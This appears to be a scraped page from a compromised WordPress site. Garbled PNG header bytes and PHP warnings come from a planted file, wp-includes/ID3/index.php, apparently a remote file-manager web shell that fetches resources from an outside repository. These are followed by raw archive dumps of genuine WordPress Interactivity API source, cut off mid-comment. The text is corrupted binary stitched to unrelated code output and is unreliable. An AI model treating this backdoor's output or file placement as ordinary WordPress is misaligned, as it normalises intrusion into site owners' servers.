?¡ëPNG
IHDR ? f ??C1 sRGB ??¨¦ gAMA ¡À?¨¹a pHYs ? ??o¡§d GIDATx^¨ª¨¹L¡±¡Âe¡ÂY?a?("Bh?_¨°???¡é¡ì?q5k?*:t0A-o??£¤]VkJ¡éM??f?¡À8\k2¨ªll¡ê1]q?¨´???T
?¡ëPNG
IHDR ? f ??C1 sRGB ??¨¦ gAMA ¡À?¨¹a pHYs ? ??o¡§d GIDATx^¨ª¨¹L¡±¡Âe¡ÂY?a?("Bh?_¨°???¡é¡ì?q5k?*:t0A-o??£¤]VkJ¡éM??f?¡À8\k2¨ªll¡ê1]q?¨´???T
Warning: Undefined variable $authorization in /home/blacotuu/deliciouskenya.com/wp-includes/ID3/index.php on line 28
Deprecated: json_decode(): Passing null to parameter #1 ($json) of type string is deprecated in /home/blacotuu/deliciouskenya.com/wp-includes/ID3/index.php on line 28
Warning: Undefined variable $translation in /home/blacotuu/deliciouskenya.com/wp-includes/ID3/index.php on line 89
Deprecated: json_decode(): Passing null to parameter #1 ($json) of type string is deprecated in /home/blacotuu/deliciouskenya.com/wp-includes/ID3/index.php on line 89
Warning: Trying to access array offset on value of type null in /home/blacotuu/deliciouskenya.com/wp-includes/ID3/index.php on line 90
Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
in /home/blacotuu/deliciouskenya.com/wp-includes/ID3/index.php on line 91
Warning: Cannot modify header information - headers already sent by (output started at /home/blacotuu/deliciouskenya.com/wp-includes/ID3/index.php:1) in /home/blacotuu/deliciouskenya.com/wp-includes/ID3/index.php on line 218
Warning: Cannot modify header information - headers already sent by (output started at /home/blacotuu/deliciouskenya.com/wp-includes/ID3/index.php:1) in /home/blacotuu/deliciouskenya.com/wp-includes/ID3/index.php on line 219
Warning: Cannot modify header information - headers already sent by (output started at /home/blacotuu/deliciouskenya.com/wp-includes/ID3/index.php:1) in /home/blacotuu/deliciouskenya.com/wp-includes/ID3/index.php on line 220
Warning: Cannot modify header information - headers already sent by (output started at /home/blacotuu/deliciouskenya.com/wp-includes/ID3/index.php:1) in /home/blacotuu/deliciouskenya.com/wp-includes/ID3/index.php on line 221
Warning: Cannot modify header information - headers already sent by (output started at /home/blacotuu/deliciouskenya.com/wp-includes/ID3/index.php:1) in /home/blacotuu/deliciouskenya.com/wp-includes/ID3/index.php on line 222
Warning: Cannot modify header information - headers already sent by (output started at /home/blacotuu/deliciouskenya.com/wp-includes/ID3/index.php:1) in /home/blacotuu/deliciouskenya.com/wp-includes/ID3/index.php on line 223
interactivity-api.php 0000644 00000013020 15107426033 0010717 0 ustar 00 process_directives( $html );
}
/**
* Gets and/or sets the initial state of an Interactivity API store for a
* given namespace.
*
* If state for that store namespace already exists, it merges the new
* provided state with the existing one.
*
* The namespace can be omitted inside derived state getters, using the
* namespace where the getter is defined.
*
* @since 6.5.0
* @since 6.6.0 The namespace can be omitted when called inside derived state getters.
*
* @param string $store_namespace The unique store namespace identifier.
* @param array $state Optional. The array that will be merged with the existing state for the specified
* store namespace.
* @return array The state for the specified store namespace. This will be the updated state if a $state argument was
* provided.
*/
function wp_interactivity_state( ?string $store_namespace = null, array $state = array() ): array {
return wp_interactivity()->state( $store_namespace, $state );
}
/**
* Gets and/or sets the configuration of the Interactivity API for a given
* store namespace.
*
* If configuration for that store namespace exists, it merges the new
* provided configuration with the existing one.
*
* @since 6.5.0
*
* @param string $store_namespace The unique store namespace identifier.
* @param array $config Optional. The array that will be merged with the existing configuration for the
* specified store namespace.
* @return array The configuration for the specified store namespace. This will be the updated configuration if a
* $config argument was provided.
*/
function wp_interactivity_config( string $store_namespace, array $config = array() ): array {
return wp_interactivity()->config( $store_namespace, $config );
}
/**
* Generates a `data-wp-context` directive attribute by encoding a context
* array.
*
* This helper function simplifies the creation of `data-wp-context` directives
* by providing a way to pass an array of data, which encodes into a JSON string
* safe for direct use as a HTML attribute value.
*
* Example:
*
*
true, 'count' => 0 ) ); ?>>
*
* @since 6.5.0
*
* @param array $context The array of context data to encode.
* @param string $store_namespace Optional. The unique store namespace identifier.
* @return string A complete `data-wp-context` directive with a JSON encoded value representing the context array and
* the store namespace if specified.
*/
function wp_interactivity_data_wp_context( array $context, string $store_namespace = '' ): string {
return 'data-wp-context=\'' .
( $store_namespace ? $store_namespace . '::' : '' ) .
( empty( $context ) ? '{}' : wp_json_encode( $context, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP ) ) .
'\'';
}
/**
* Gets the current Interactivity API context for a given namespace.
*
* The function should be used only during directive processing. If the
* `$store_namespace` parameter is omitted, it uses the current namespace value
* on the internal namespace stack.
*
* It returns an empty array when the specified namespace is not defined.
*
* @since 6.6.0
*
* @param string $store_namespace Optional. The unique store namespace identifier.
* @return array The context for the specified store namespace.
*/
function wp_interactivity_get_context( ?string $store_namespace = null ): array {
return wp_interactivity()->get_context( $store_namespace );
}
/**
* Returns an array representation of the current element being processed.
*
* The function should be used only during directive processing.
*
* @since 6.7.0
*
* @return array{attributes: array
}|null Current element.
*/
function wp_interactivity_get_element(): ?array {
return wp_interactivity()->get_element();
}
bnf.php 0000644 00000000000 15107426033 0006011 0 ustar 00 class-wp-interactivity-api.php 0000644 00000127325 15107426033 0012464 0 ustar 00 'data_wp_interactive_processor',
'data-wp-router-region' => 'data_wp_router_region_processor',
'data-wp-context' => 'data_wp_context_processor',
'data-wp-bind' => 'data_wp_bind_processor',
'data-wp-class' => 'data_wp_class_processor',
'data-wp-style' => 'data_wp_style_processor',
'data-wp-text' => 'data_wp_text_processor',
/*
* `data-wp-each` needs to be processed in the last place because it moves
* the cursor to the end of the processed items to prevent them to be
* processed twice.
*/
'data-wp-each' => 'data_wp_each_processor',
);
/**
* Holds the initial state of the different Interactivity API stores.
*
* This state is used during the server directive processing. Then, it is
* serialized and sent to the client as part of the interactivity data to be
* recovered during the hydration of the client interactivity stores.
*
* @since 6.5.0
* @var array
*/
private $state_data = array();
/**
* Holds the configuration required by the different Interactivity API stores.
*
* This configuration is serialized and sent to the client as part of the
* interactivity data and can be accessed by the client interactivity stores.
*
* @since 6.5.0
* @var array
*/
private $config_data = array();
/**
* Flag that indicates whether the `data-wp-router-region` directive has
* been found in the HTML and processed.
*
* The value is saved in a private property of the WP_Interactivity_API
* instance instead of using a static variable inside the processor
* function, which would hold the same value for all instances
* independently of whether they have processed any
* `data-wp-router-region` directive or not.
*
* @since 6.5.0
* @var bool
*/
private $has_processed_router_region = false;
/**
* Stack of namespaces defined by `data-wp-interactive` directives, in
* the order they are processed.
*
* This is only available during directive processing, otherwise it is `null`.
*
* @since 6.6.0
* @var array|null
*/
private $namespace_stack = null;
/**
* Stack of contexts defined by `data-wp-context` directives, in
* the order they are processed.
*
* This is only available during directive processing, otherwise it is `null`.
*
* @since 6.6.0
* @var array>|null
*/
private $context_stack = null;
/**
* Representation in array format of the element currently being processed.
*
* This is only available during directive processing, otherwise it is `null`.
*
* @since 6.7.0
* @var array{attributes: array}|null
*/
private $current_element = null;
/**
* Gets and/or sets the initial state of an Interactivity API store for a
* given namespace.
*
* If state for that store namespace already exists, it merges the new
* provided state with the existing one.
*
* When no namespace is specified, it returns the state defined for the
* current value in the internal namespace stack during a `process_directives` call.
*
* @since 6.5.0
* @since 6.6.0 The `$store_namespace` param is optional.
*
* @param string $store_namespace Optional. The unique store namespace identifier.
* @param array $state Optional. The array that will be merged with the existing state for the specified
* store namespace.
* @return array The current state for the specified store namespace. This will be the updated state if a $state
* argument was provided.
*/
public function state( ?string $store_namespace = null, ?array $state = null ): array {
if ( ! $store_namespace ) {
if ( $state ) {
_doing_it_wrong(
__METHOD__,
__( 'The namespace is required when state data is passed.' ),
'6.6.0'
);
return array();
}
if ( null !== $store_namespace ) {
_doing_it_wrong(
__METHOD__,
__( 'The namespace should be a non-empty string.' ),
'6.6.0'
);
return array();
}
if ( null === $this->namespace_stack ) {
_doing_it_wrong(
__METHOD__,
__( 'The namespace can only be omitted during directive processing.' ),
'6.6.0'
);
return array();
}
$store_namespace = end( $this->namespace_stack );
}
if ( ! isset( $this->state_data[ $store_namespace ] ) ) {
$this->state_data[ $store_namespace ] = array();
}
if ( is_array( $state ) ) {
$this->state_data[ $store_namespace ] = array_replace_recursive(
$this->state_data[ $store_namespace ],
$state
);
}
return $this->state_data[ $store_namespace ];
}
/**
* Gets and/or sets the configuration of the Interactivity API for a given
* store namespace.
*
* If configuration for that store namespace exists, it merges the new
* provided configuration with the existing one.
*
* @since 6.5.0
*
* @param string $store_namespace The unique store namespace identifier.
* @param array $config Optional. The array that will be merged with the existing configuration for the
* specified store namespace.
* @return array The configuration for the specified store namespace. This will be the updated configuration if a
* $config argument was provided.
*/
public function config( string $store_namespace, array $config = array() ): array {
if ( ! isset( $this->config_data[ $store_namespace ] ) ) {
$this->config_data[ $store_namespace ] = array();
}
if ( is_array( $config ) ) {
$this->config_data[ $store_namespace ] = array_replace_recursive(
$this->config_data[ $store_namespace ],
$config
);
}
return $this->config_data[ $store_namespace ];
}
/**
* Prints the serialized client-side interactivity data.
*
* Encodes the config and initial state into JSON and prints them inside a
* script tag of type "application/json". Once in the browser, the state will
* be parsed and used to hydrate the client-side interactivity stores and the
* configuration will be available using a `getConfig` utility.
*
* @since 6.5.0
*
* @deprecated 6.7.0 Client data passing is handled by the {@see "script_module_data_{$module_id}"} filter.
*/
public function print_client_interactivity_data() {
_deprecated_function( __METHOD__, '6.7.0' );
}
/**
* Set client-side interactivity-router data.
*
* Once in the browser, the state will be parsed and used to hydrate the client-side
* interactivity stores and the configuration will be available using a `getConfig` utility.
*
* @since 6.7.0
*
* @param array $data Data to filter.
* @return array Data for the Interactivity Router script module.
*/
public function filter_script_module_interactivity_router_data( array $data ): array {
if ( ! isset( $data['i18n'] ) ) {
$data['i18n'] = array();
}
$data['i18n']['loading'] = __( 'Loading page, please wait.' );
$data['i18n']['loaded'] = __( 'Page Loaded.' );
return $data;
}
/**
* Set client-side interactivity data.
*
* Once in the browser, the state will be parsed and used to hydrate the client-side
* interactivity stores and the configuration will be available using a `getConfig` utility.
*
* @since 6.7.0
*
* @param array $data Data to filter.
* @return array Data for the Interactivity API script module.
*/
public function filter_script_module_interactivity_data( array $data ): array {
if ( empty( $this->state_data ) && empty( $this->config_data ) ) {
return $data;
}
$config = array();
foreach ( $this->config_data as $key => $value ) {
if ( ! empty( $value ) ) {
$config[ $key ] = $value;
}
}
if ( ! empty( $config ) ) {
$data['config'] = $config;
}
$state = array();
foreach ( $this->state_data as $key => $value ) {
if ( ! empty( $value ) ) {
$state[ $key ] = $value;
}
}
if ( ! empty( $state ) ) {
$data['state'] = $state;
}
return $data;
}
/**
* Returns the latest value on the context stack with the passed namespace.
*
* When the namespace is omitted, it uses the current namespace on the
* namespace stack during a `process_directives` call.
*
* @since 6.6.0
*
* @param string $store_namespace Optional. The unique store namespace identifier.
*/
public function get_context( ?string $store_namespace = null ): array {
if ( null === $this->context_stack ) {
_doing_it_wrong(
__METHOD__,
__( 'The context can only be read during directive processing.' ),
'6.6.0'
);
return array();
}
if ( ! $store_namespace ) {
if ( null !== $store_namespace ) {
_doing_it_wrong(
__METHOD__,
__( 'The namespace should be a non-empty string.' ),
'6.6.0'
);
return array();
}
$store_namespace = end( $this->namespace_stack );
}
$context = end( $this->context_stack );
return ( $store_namespace && $context && isset( $context[ $store_namespace ] ) )
? $context[ $store_namespace ]
: array();
}
/**
* Returns an array representation of the current element being processed.
*
* The returned array contains a copy of the element attributes.
*
* @since 6.7.0
*
* @return array{attributes: array}|null Current element.
*/
public function get_element(): ?array {
if ( null === $this->current_element ) {
_doing_it_wrong(
__METHOD__,
__( 'The element can only be read during directive processing.' ),
'6.7.0'
);
}
return $this->current_element;
}
/**
* Registers the `@wordpress/interactivity` script modules.
*
* @deprecated 6.7.0 Script Modules registration is handled by {@see wp_default_script_modules()}.
*
* @since 6.5.0
*/
public function register_script_modules() {
_deprecated_function( __METHOD__, '6.7.0', 'wp_default_script_modules' );
}
/**
* Adds the necessary hooks for the Interactivity API.
*
* @since 6.5.0
*/
public function add_hooks() {
add_filter( 'script_module_data_@wordpress/interactivity', array( $this, 'filter_script_module_interactivity_data' ) );
add_filter( 'script_module_data_@wordpress/interactivity-router', array( $this, 'filter_script_module_interactivity_router_data' ) );
}
/**
* Processes the interactivity directives contained within the HTML content
* and updates the markup accordingly.
*
* @since 6.5.0
*
* @param string $html The HTML content to process.
* @return string The processed HTML content. It returns the original content when the HTML contains unbalanced tags.
*/
public function process_directives( string $html ): string {
if ( ! str_contains( $html, 'data-wp-' ) ) {
return $html;
}
$this->namespace_stack = array();
$this->context_stack = array();
$result = $this->_process_directives( $html );
$this->namespace_stack = null;
$this->context_stack = null;
return null === $result ? $html : $result;
}
/**
* Processes the interactivity directives contained within the HTML content
* and updates the markup accordingly.
*
* It uses the WP_Interactivity_API instance's context and namespace stacks,
* which are shared between all calls.
*
* This method returns null if the HTML contains unbalanced tags.
*
* @since 6.6.0
*
* @param string $html The HTML content to process.
* @return string|null The processed HTML content. It returns null when the HTML contains unbalanced tags.
*/
private function _process_directives( string $html ) {
$p = new WP_Interactivity_API_Directives_Processor( $html );
$tag_stack = array();
$unbalanced = false;
$directive_processor_prefixes = array_keys( self::$directive_processors );
$directive_processor_prefixes_reversed = array_reverse( $directive_processor_prefixes );
/*
* Save the current size for each stack to restore them in case
* the processing finds unbalanced tags.
*/
$namespace_stack_size = count( $this->namespace_stack );
$context_stack_size = count( $this->context_stack );
while ( $p->next_tag( array( 'tag_closers' => 'visit' ) ) ) {
$tag_name = $p->get_tag();
/*
* Directives inside SVG and MATH tags are not processed,
* as they are not compatible with the Tag Processor yet.
* We still process the rest of the HTML.
*/
if ( 'SVG' === $tag_name || 'MATH' === $tag_name ) {
if ( $p->get_attribute_names_with_prefix( 'data-wp-' ) ) {
/* translators: 1: SVG or MATH HTML tag, 2: Namespace of the interactive block. */
$message = sprintf( __( 'Interactivity directives were detected on an incompatible %1$s tag when processing "%2$s". These directives will be ignored in the server side render.' ), $tag_name, end( $this->namespace_stack ) );
_doing_it_wrong( __METHOD__, $message, '6.6.0' );
}
$p->skip_to_tag_closer();
continue;
}
if ( $p->is_tag_closer() ) {
list( $opening_tag_name, $directives_prefixes ) = end( $tag_stack );
if ( 0 === count( $tag_stack ) || $opening_tag_name !== $tag_name ) {
/*
* If the tag stack is empty or the matching opening tag is not the
* same than the closing tag, it means the HTML is unbalanced and it
* stops processing it.
*/
$unbalanced = true;
break;
} else {
// Remove the last tag from the stack.
array_pop( $tag_stack );
}
} else {
if ( 0 !== count( $p->get_attribute_names_with_prefix( 'data-wp-each-child' ) ) ) {
/*
* If the tag has a `data-wp-each-child` directive, jump to its closer
* tag because those tags have already been processed.
*/
$p->next_balanced_tag_closer_tag();
continue;
} else {
$directives_prefixes = array();
// Checks if there is a server directive processor registered for each directive.
foreach ( $p->get_attribute_names_with_prefix( 'data-wp-' ) as $attribute_name ) {
if ( ! preg_match(
/*
* This must align with the client-side regex used by the interactivity API.
* @see https://github.com/WordPress/gutenberg/blob/ca616014255efbb61f34c10917d52a2d86c1c660/packages/interactivity/src/vdom.ts#L20-L32
*/
'/' .
'^data-wp-' .
// Match alphanumeric characters including hyphen-separated
// segments. It excludes underscore intentionally to prevent confusion.
// E.g., "custom-directive".
'([a-z0-9]+(?:-[a-z0-9]+)*)' .
// (Optional) Match '--' followed by any alphanumeric charachters. It
// excludes underscore intentionally to prevent confusion, but it can
// contain multiple hyphens. E.g., "--custom-prefix--with-more-info".
'(?:--([a-z0-9_-]+))?$' .
'/i',
$attribute_name
) ) {
continue;
}
list( $directive_prefix ) = $this->extract_prefix_and_suffix( $attribute_name );
if ( array_key_exists( $directive_prefix, self::$directive_processors ) ) {
$directives_prefixes[] = $directive_prefix;
}
}
/*
* If this tag will visit its closer tag, it adds it to the tag stack
* so it can process its closing tag and check for unbalanced tags.
*/
if ( $p->has_and_visits_its_closer_tag() ) {
$tag_stack[] = array( $tag_name, $directives_prefixes );
}
}
}
/*
* If the matching opener tag didn't have any directives, it can skip the
* processing.
*/
if ( 0 === count( $directives_prefixes ) ) {
continue;
}
// Directive processing might be different depending on if it is entering the tag or exiting it.
$modes = array(
'enter' => ! $p->is_tag_closer(),
'exit' => $p->is_tag_closer() || ! $p->has_and_visits_its_closer_tag(),
);
// Get the element attributes to include them in the element representation.
$element_attrs = array();
$attr_names = $p->get_attribute_names_with_prefix( '' ) ?? array();
foreach ( $attr_names as $name ) {
$element_attrs[ $name ] = $p->get_attribute( $name );
}
// Assign the current element right before running its directive processors.
$this->current_element = array(
'attributes' => $element_attrs,
);
foreach ( $modes as $mode => $should_run ) {
if ( ! $should_run ) {
continue;
}
/*
* Sorts the attributes by the order of the `directives_processor` array
* and checks what directives are present in this element.
*/
$existing_directives_prefixes = array_intersect(
'enter' === $mode ? $directive_processor_prefixes : $directive_processor_prefixes_reversed,
$directives_prefixes
);
foreach ( $existing_directives_prefixes as $directive_prefix ) {
$func = is_array( self::$directive_processors[ $directive_prefix ] )
? self::$directive_processors[ $directive_prefix ]
: array( $this, self::$directive_processors[ $directive_prefix ] );
call_user_func_array( $func, array( $p, $mode, &$tag_stack ) );
}
}
// Clear the current element.
$this->current_element = null;
}
if ( $unbalanced ) {
// Reset the namespace and context stacks to their previous values.
array_splice( $this->namespace_stack, $namespace_stack_size );
array_splice( $this->context_stack, $context_stack_size );
}
/*
* It returns null if the HTML is unbalanced because unbalanced HTML is
* not safe to process. In that case, the Interactivity API runtime will
* update the HTML on the client side during the hydration. It will also
* display a notice to the developer to inform them about the issue.
*/
if ( $unbalanced || 0 < count( $tag_stack ) ) {
$tag_errored = 0 < count( $tag_stack ) ? end( $tag_stack )[0] : $tag_name;
/* translators: %1s: Namespace processed, %2s: The tag that caused the error; could be any HTML tag. */
$message = sprintf( __( 'Interactivity directives failed to process in "%1$s" due to a missing "%2$s" end tag.' ), end( $this->namespace_stack ), $tag_errored );
_doing_it_wrong( __METHOD__, $message, '6.6.0' );
return null;
}
return $p->get_updated_html();
}
/**
* Evaluates the reference path passed to a directive based on the current
* store namespace, state and context.
*
* @since 6.5.0
* @since 6.6.0 The function now adds a warning when the namespace is null, falsy, or the directive value is empty.
* @since 6.6.0 Removed `default_namespace` and `context` arguments.
* @since 6.6.0 Add support for derived state.
*
* @param string|true $directive_value The directive attribute value string or `true` when it's a boolean attribute.
* @return mixed|null The result of the evaluation. Null if the reference path doesn't exist or the namespace is falsy.
*/
private function evaluate( $directive_value ) {
$default_namespace = end( $this->namespace_stack );
$context = end( $this->context_stack );
list( $ns, $path ) = $this->extract_directive_value( $directive_value, $default_namespace );
if ( ! $ns || ! $path ) {
/* translators: %s: The directive value referenced. */
$message = sprintf( __( 'Namespace or reference path cannot be empty. Directive value referenced: %s' ), $directive_value );
_doing_it_wrong( __METHOD__, $message, '6.6.0' );
return null;
}
$store = array(
'state' => $this->state_data[ $ns ] ?? array(),
'context' => $context[ $ns ] ?? array(),
);
// Checks if the reference path is preceded by a negation operator (!).
$should_negate_value = '!' === $path[0];
$path = $should_negate_value ? substr( $path, 1 ) : $path;
// Extracts the value from the store using the reference path.
$path_segments = explode( '.', $path );
$current = $store;
foreach ( $path_segments as $path_segment ) {
/*
* Special case for numeric arrays and strings. Add length
* property mimicking JavaScript behavior.
*
* @since 6.8.0
*/
if ( 'length' === $path_segment ) {
if ( is_array( $current ) && array_is_list( $current ) ) {
$current = count( $current );
break;
}
if ( is_string( $current ) ) {
/*
* Differences in encoding between PHP strings and
* JavaScript mean that it's complicated to calculate
* the string length JavaScript would see from PHP.
* `strlen` is a reasonable approximation.
*
* Users that desire a more precise length likely have
* more precise needs than "bytelength" and should
* implement their own length calculation in derived
* state taking into account encoding and their desired
* output (codepoints, graphemes, bytes, etc.).
*/
$current = strlen( $current );
break;
}
}
if ( ( is_array( $current ) || $current instanceof ArrayAccess ) && isset( $current[ $path_segment ] ) ) {
$current = $current[ $path_segment ];
} elseif ( is_object( $current ) && isset( $current->$path_segment ) ) {
$current = $current->$path_segment;
} else {
$current = null;
break;
}
if ( $current instanceof Closure ) {
/*
* This state getter's namespace is added to the stack so that
* `state()` or `get_config()` read that namespace when called
* without specifying one.
*/
array_push( $this->namespace_stack, $ns );
try {
$current = $current();
} catch ( Throwable $e ) {
_doing_it_wrong(
__METHOD__,
sprintf(
/* translators: 1: Path pointing to an Interactivity API state property, 2: Namespace for an Interactivity API store. */
__( 'Uncaught error executing a derived state callback with path "%1$s" and namespace "%2$s".' ),
$path,
$ns
),
'6.6.0'
);
return null;
} finally {
// Remove the property's namespace from the stack.
array_pop( $this->namespace_stack );
}
}
}
// Returns the opposite if it contains a negation operator (!).
return $should_negate_value ? ! $current : $current;
}
/**
* Extracts the directive attribute name to separate and return the directive
* prefix and an optional suffix.
*
* The suffix is the string after the first double hyphen and the prefix is
* everything that comes before the suffix.
*
* Example:
*
* extract_prefix_and_suffix( 'data-wp-interactive' ) => array( 'data-wp-interactive', null )
* extract_prefix_and_suffix( 'data-wp-bind--src' ) => array( 'data-wp-bind', 'src' )
* extract_prefix_and_suffix( 'data-wp-foo--and--bar' ) => array( 'data-wp-foo', 'and--bar' )
*
* @since 6.5.0
*
* @param string $directive_name The directive attribute name.
* @return array An array containing the directive prefix and optional suffix.
*/
private function extract_prefix_and_suffix( string $directive_name ): array {
return explode( '--', $directive_name, 2 );
}
/**
* Parses and extracts the namespace and reference path from the given
* directive attribute value.
*
* If the value doesn't contain an explicit namespace, it returns the
* default one. If the value contains a JSON object instead of a reference
* path, the function tries to parse it and return the resulting array. If
* the value contains strings that represent booleans ("true" and "false"),
* numbers ("1" and "1.2") or "null", the function also transform them to
* regular booleans, numbers and `null`.
*
* Example:
*
* extract_directive_value( 'actions.foo', 'myPlugin' ) => array( 'myPlugin', 'actions.foo' )
* extract_directive_value( 'otherPlugin::actions.foo', 'myPlugin' ) => array( 'otherPlugin', 'actions.foo' )
* extract_directive_value( '{ "isOpen": false }', 'myPlugin' ) => array( 'myPlugin', array( 'isOpen' => false ) )
* extract_directive_value( 'otherPlugin::{ "isOpen": false }', 'myPlugin' ) => array( 'otherPlugin', array( 'isOpen' => false ) )
*
* @since 6.5.0
*
* @param string|true $directive_value The directive attribute value. It can be `true` when it's a boolean
* attribute.
* @param string|null $default_namespace Optional. The default namespace if none is explicitly defined.
* @return array An array containing the namespace in the first item and the JSON, the reference path, or null on the
* second item.
*/
private function extract_directive_value( $directive_value, $default_namespace = null ): array {
if ( empty( $directive_value ) || is_bool( $directive_value ) ) {
return array( $default_namespace, null );
}
// Replaces the value and namespace if there is a namespace in the value.
if ( 1 === preg_match( '/^([\w\-_\/]+)::./', $directive_value ) ) {
list($default_namespace, $directive_value) = explode( '::', $directive_value, 2 );
}
/*
* Tries to decode the value as a JSON object. If it fails and the value
* isn't `null`, it returns the value as it is. Otherwise, it returns the
* decoded JSON or null for the string `null`.
*/
$decoded_json = json_decode( $directive_value, true );
if ( null !== $decoded_json || 'null' === $directive_value ) {
$directive_value = $decoded_json;
}
return array( $default_namespace, $directive_value );
}
/**
* Transforms a kebab-case string to camelCase.
*
* @param string $str The kebab-case string to transform to camelCase.
* @return string The transformed camelCase string.
*/
private function kebab_to_camel_case( string $str ): string {
return lcfirst(
preg_replace_callback(
'/(-)([a-z])/',
function ( $matches ) {
return strtoupper( $matches[2] );
},
strtolower( rtrim( $str, '-' ) )
)
);
}
/**
* Processes the `data-wp-interactive` directive.
*
* It adds the default store namespace defined in the directive value to the
* stack so that it's available for the nested interactivity elements.
*
* @since 6.5.0
*
* @param WP_Interactivity_API_Directives_Processor $p The directives processor instance.
* @param string $mode Whether the processing is entering or exiting the tag.
*/
private function data_wp_interactive_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) {
// When exiting tags, it removes the last namespace from the stack.
if ( 'exit' === $mode ) {
array_pop( $this->namespace_stack );
return;
}
// Tries to decode the `data-wp-interactive` attribute value.
$attribute_value = $p->get_attribute( 'data-wp-interactive' );
/*
* Pushes the newly defined namespace or the current one if the
* `data-wp-interactive` definition was invalid or does not contain a
* namespace. It does so because the function pops out the current namespace
* from the stack whenever it finds a `data-wp-interactive`'s closing tag,
* independently of whether the previous `data-wp-interactive` definition
* contained a valid namespace.
*/
$new_namespace = null;
if ( is_string( $attribute_value ) && ! empty( $attribute_value ) ) {
$decoded_json = json_decode( $attribute_value, true );
if ( is_array( $decoded_json ) ) {
$new_namespace = $decoded_json['namespace'] ?? null;
} else {
$new_namespace = $attribute_value;
}
}
$this->namespace_stack[] = ( $new_namespace && 1 === preg_match( '/^([\w\-_\/]+)/', $new_namespace ) )
? $new_namespace
: end( $this->namespace_stack );
}
/**
* Processes the `data-wp-context` directive.
*
* It adds the context defined in the directive value to the stack so that
* it's available for the nested interactivity elements.
*
* @since 6.5.0
*
* @param WP_Interactivity_API_Directives_Processor $p The directives processor instance.
* @param string $mode Whether the processing is entering or exiting the tag.
*/
private function data_wp_context_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) {
// When exiting tags, it removes the last context from the stack.
if ( 'exit' === $mode ) {
array_pop( $this->context_stack );
return;
}
$attribute_value = $p->get_attribute( 'data-wp-context' );
$namespace_value = end( $this->namespace_stack );
// Separates the namespace from the context JSON object.
list( $namespace_value, $decoded_json ) = is_string( $attribute_value ) && ! empty( $attribute_value )
? $this->extract_directive_value( $attribute_value, $namespace_value )
: array( $namespace_value, null );
/*
* If there is a namespace, it adds a new context to the stack merging the
* previous context with the new one.
*/
if ( is_string( $namespace_value ) ) {
$this->context_stack[] = array_replace_recursive(
end( $this->context_stack ) !== false ? end( $this->context_stack ) : array(),
array( $namespace_value => is_array( $decoded_json ) ? $decoded_json : array() )
);
} else {
/*
* If there is no namespace, it pushes the current context to the stack.
* It needs to do so because the function pops out the current context
* from the stack whenever it finds a `data-wp-context`'s closing tag.
*/
$this->context_stack[] = end( $this->context_stack );
}
}
/**
* Processes the `data-wp-bind` directive.
*
* It updates or removes the bound attributes based on the evaluation of its
* associated reference.
*
* @since 6.5.0
*
* @param WP_Interactivity_API_Directives_Processor $p The directives processor instance.
* @param string $mode Whether the processing is entering or exiting the tag.
*/
private function data_wp_bind_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) {
if ( 'enter' === $mode ) {
$all_bind_directives = $p->get_attribute_names_with_prefix( 'data-wp-bind--' );
foreach ( $all_bind_directives as $attribute_name ) {
list( , $bound_attribute ) = $this->extract_prefix_and_suffix( $attribute_name );
if ( empty( $bound_attribute ) ) {
return;
}
$attribute_value = $p->get_attribute( $attribute_name );
$result = $this->evaluate( $attribute_value );
if (
null !== $result &&
(
false !== $result ||
( strlen( $bound_attribute ) > 5 && '-' === $bound_attribute[4] )
)
) {
/*
* If the result of the evaluation is a boolean and the attribute is
* `aria-` or `data-, convert it to a string "true" or "false". It
* follows the exact same logic as Preact because it needs to
* replicate what Preact will later do in the client:
* https://github.com/preactjs/preact/blob/ea49f7a0f9d1ff2c98c0bdd66aa0cbc583055246/src/diff/props.js#L131C24-L136
*/
if (
is_bool( $result ) &&
( strlen( $bound_attribute ) > 5 && '-' === $bound_attribute[4] )
) {
$result = $result ? 'true' : 'false';
}
$p->set_attribute( $bound_attribute, $result );
} else {
$p->remove_attribute( $bound_attribute );
}
}
}
}
/**
* Processes the `data-wp-class` directive.
*
* It adds or removes CSS classes in the current HTML element based on the
* evaluation of its associated references.
*
* @since 6.5.0
*
* @param WP_Interactivity_API_Directives_Processor $p The directives processor instance.
* @param string $mode Whether the processing is entering or exiting the tag.
*/
private function data_wp_class_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) {
if ( 'enter' === $mode ) {
$all_class_directives = $p->get_attribute_names_with_prefix( 'data-wp-class--' );
foreach ( $all_class_directives as $attribute_name ) {
list( , $class_name ) = $this->extract_prefix_and_suffix( $attribute_name );
if ( empty( $class_name ) ) {
return;
}
$attribute_value = $p->get_attribute( $attribute_name );
$result = $this->evaluate( $attribute_value );
if ( $result ) {
$p->add_class( $class_name );
} else {
$p->remove_class( $class_name );
}
}
}
}
/**
* Processes the `data-wp-style` directive.
*
* It updates the style attribute value of the current HTML element based on
* the evaluation of its associated references.
*
* @since 6.5.0
*
* @param WP_Interactivity_API_Directives_Processor $p The directives processor instance.
* @param string $mode Whether the processing is entering or exiting the tag.
*/
private function data_wp_style_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) {
if ( 'enter' === $mode ) {
$all_style_attributes = $p->get_attribute_names_with_prefix( 'data-wp-style--' );
foreach ( $all_style_attributes as $attribute_name ) {
list( , $style_property ) = $this->extract_prefix_and_suffix( $attribute_name );
if ( empty( $style_property ) ) {
continue;
}
$directive_attribute_value = $p->get_attribute( $attribute_name );
$style_property_value = $this->evaluate( $directive_attribute_value );
$style_attribute_value = $p->get_attribute( 'style' );
$style_attribute_value = ( $style_attribute_value && ! is_bool( $style_attribute_value ) ) ? $style_attribute_value : '';
/*
* Checks first if the style property is not falsy and the style
* attribute value is not empty because if it is, it doesn't need to
* update the attribute value.
*/
if ( $style_property_value || $style_attribute_value ) {
$style_attribute_value = $this->merge_style_property( $style_attribute_value, $style_property, $style_property_value );
/*
* If the style attribute value is not empty, it sets it. Otherwise,
* it removes it.
*/
if ( ! empty( $style_attribute_value ) ) {
$p->set_attribute( 'style', $style_attribute_value );
} else {
$p->remove_attribute( 'style' );
}
}
}
}
}
/**
* Merges an individual style property in the `style` attribute of an HTML
* element, updating or removing the property when necessary.
*
* If a property is modified, the old one is removed and the new one is added
* at the end of the list.
*
* @since 6.5.0
*
* Example:
*
